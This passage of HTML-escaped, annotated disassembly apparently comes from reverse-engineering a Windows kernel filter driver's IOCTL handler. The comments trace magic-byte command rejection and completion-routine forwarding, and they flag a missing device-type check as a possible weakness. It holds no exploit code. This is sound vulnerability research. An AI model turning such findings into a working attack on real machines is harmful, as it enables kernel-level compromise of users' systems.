&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0005876:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;jnz&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="mi"&gt;0x1c0005913&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c000587c:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;ecx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rdx&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0x18&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="c1"&gt;; IoControlCode&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c000587f:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rcx-0x4d004&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0005885:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;test&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0xffffffef&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="c1"&gt;; 0x4d004 / 0x4d005 ?&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c000588a:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;jnz&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="mi"&gt;0x1c00058fa&lt;/span&gt;&lt;span class="w"&gt;              &lt;/span&gt;&lt;span class="c1"&gt;; no → try 0x4d02c&lt;/span&gt;

&lt;span class="c1"&gt;;   --- silo command rejection (magic 0xa2/0xee or 0xb5/0xee) ---&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c000588c:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rbp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0x18&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="c1"&gt;; SystemBuffer&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0005890:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;cl&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0x24&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0005893:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;cl&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="mi"&gt;0xa2&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0005896:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;jz&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="mi"&gt;0x1c000589d&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0005898:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;cl&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="mi"&gt;0xb5&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c000589b:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;jnz&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="mi"&gt;0x1c00058ef&lt;/span&gt;&lt;span class="w"&gt;              &lt;/span&gt;&lt;span class="c1"&gt;; forward WITH completion&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c000589d:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;byte&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0x25&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0xee&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c00058a1:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;jnz&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="mi"&gt;0x1c00058ef&lt;/span&gt;&lt;span class="w"&gt;              &lt;/span&gt;&lt;span class="c1"&gt;; forward WITH completion&lt;/span&gt;
&lt;span class="c1"&gt;;   --- magic MATCH → reject with STATUS_INVALID_PARAMETER ---&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c00058d1:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;ebx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0xc000000d&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c00058db:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rbp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0x30&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;ebx&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="c1"&gt;; IRP-&amp;gt;IoStatus.Status&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c00058de:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;call&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;__imp_IofCompleteRequest&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c00058ea:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;jmp&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="mi"&gt;0x1c00059b8&lt;/span&gt;&lt;span class="w"&gt;              &lt;/span&gt;&lt;span class="c1"&gt;; return&lt;/span&gt;

&lt;span class="c1"&gt;;   --- magic MISMATCH → set r8b = 1 ---&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c00058ef:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;r8b&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0x1&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c00058f2:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;not&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;sil&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c00058f5:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;and&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;sil&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;r8b&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c00058f8:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;jmp&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="mi"&gt;0x1c0005919&lt;/span&gt;

&lt;span class="c1"&gt;; ---- IOCTL 0x4d02c: SKIP completion (r8b = 0) ----&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c00058fa:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rcx-0x4d02c&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0005900:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;test&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0xfffffffb&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0005905:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;jnz&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="mi"&gt;0x1c0005913&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0005907:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;xor&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;r8b&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;r8b&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c000590a:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;not&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;sil&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c000590d:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;and&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;sil&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0x1&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0005911:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;jmp&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="mi"&gt;0x1c0005919&lt;/span&gt;

&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0005913:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;sil&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0x1&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0005916:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;xor&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;r8b&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;r8b&lt;/span&gt;&lt;span class="w"&gt;                 &lt;/span&gt;&lt;span class="c1"&gt;; default r8b = 0&lt;/span&gt;

&lt;span class="c1"&gt;; ==================== THE FORK (no device-type check) ====================&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0005919:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;r8b&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0x1&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c000591d:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;jnz&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="mi"&gt;0x1c0005960&lt;/span&gt;&lt;span class="w"&gt;              &lt;/span&gt;&lt;span class="c1"&gt;; r8b != 1 → skip completion&lt;/span&gt;

&lt;span class="c1"&gt;; --- IoCopyCurrentIrpStackLocationToNext + install completion ---&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c000591f:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;movups&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;xmm0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0005922:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;FilterDeviceWdmIoctlCompletionRoutine&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c1"&gt;; = 0x1c0005b50&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0005929:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;movups&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rdx-0x48&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;xmm0&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c000592d:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;movups&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;xmm1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rdx&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0x10&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0005931:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;movups&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rdx-0x38&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;xmm1&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0005935:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;movups&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;xmm0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rdx&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0x20&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0005939:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;movups&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rdx-0x28&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;xmm0&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c000593d:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;movsd&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;xmm1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rdx&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0x30&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0005942:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;movsd&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rdx-0x18&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;xmm1&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0005947:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;byte&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rdx-0x45&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0x0&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="c1"&gt;; clear Control&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c000594b:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rbp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0xb8&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="c1"&gt;; reload stack loc ptr&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0005952:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rax-0x10&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="c1"&gt;; CompletionRoutine = FilterDeviceWdmIoctlCompletionRoutine&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0005956:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rax-0x08&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;r14&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="c1"&gt;; Context = device object&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c000595a:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;byte&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rax-0x45&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0xc0&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;; Control = SUCCESS|ERROR&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c000595e:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;jmp&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="mi"&gt;0x1c000596e&lt;/span&gt;

&lt;span class="c1"&gt;; --- IoSkipCurrentIrpStackLocation ---&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0005960:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;inc&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;byte&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rbp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0x43&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="c1"&gt;; CurrentLocation++&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0005963:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rdx&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0x48&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0005967:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rbp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0xb8&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="c1"&gt;; advance CurrentStackLocation&lt;/span&gt;

&lt;span class="c1"&gt;; ---- Forward (no device-type check anywhere) ----&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c000596e:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;WdfFunctions&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0005975:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;r14&lt;/span&gt;&lt;span class="w"&gt;                 &lt;/span&gt;&lt;span class="c1"&gt;; device object&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c000597f:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;sil&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0x1&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0005983:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;jnz&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="mi"&gt;0x1c0005997&lt;/span&gt;&lt;span class="w"&gt;              &lt;/span&gt;&lt;span class="c1"&gt;; sil != 1 → IofCallDriver&lt;/span&gt;
